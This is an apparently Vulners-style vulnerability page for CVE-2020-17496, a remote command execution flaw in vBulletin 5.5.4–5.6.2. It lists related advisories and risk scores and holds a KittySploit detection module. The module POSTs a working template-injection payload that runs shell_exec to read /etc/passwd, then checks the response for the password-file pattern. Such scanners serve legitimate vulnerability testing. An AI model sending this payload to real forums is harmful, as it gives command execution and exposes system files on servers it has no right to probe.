vBulletin 5.5.4 - 5.6.2- Remote Command Execution Detection
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| CVE-2020-17496 | 12 Aug 202000:00 | – | attackerkb | |
| The vulnerability of the commercial vBulletin web forum exists due to the lack of measures to neutralize special elements, allowing attackers to execute arbitrary commands. | 24 Aug 202100:00 | – | bdu_fstec | |
| CVE-2020-17496 | 12 Aug 202018:11 | – | circl | |
| vBulletin PHP Module Remote Code Execution Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| vBulletin Forum Remote Code Execution (CVE-2019-16759; CVE-2020-17496) | 25 Sep 201900:00 | – | checkpoint_advisories | |
| CVE-2020-17496 | 12 Aug 202013:07 | – | cve | |
| CVE-2020-17496 | 12 Aug 202013:07 | – | cvelist | |
| CVE-2020-17496 | 15 Oct 202609:25 | – | kitploit | |
| vBulletin_5.x-tab_panel-RCE | 13 Oct 202601:20 | – | kitploit | |
| vBulletin 5.5.4 - 5.6.2- Remote Command Execution | 15 Oct 202602:05 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""vBulletin versions 5."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'vBulletin 5.5.4 - 5.6.2- Remote Command Execution Detection',
'description': 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve2020', 'cve', 'vbulletin', 'rce', 'kev', 'tenable', 'seclists', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed',
'https://nvd.nist.gov/vuln/detail/CVE-2020-17496',
'https://seclists.org/fulldisclosure/2020/Aug/5',
'https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch',
'https://cwe.mitre.org/data/definitions/78.html',
],
'cve': 'CVE-2020-17496',
}
def run(self):
path = '/ajax/render/widget_tabbedcontainer_tab_panel'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec(\'cat ../../../../../../../../../../../../etc/passwd\'); exit;"\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='critical', reason='vBulletin 5.5.4 - 5.6.2- Remote Command Execution detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 3.19.8
EPSS0.87478
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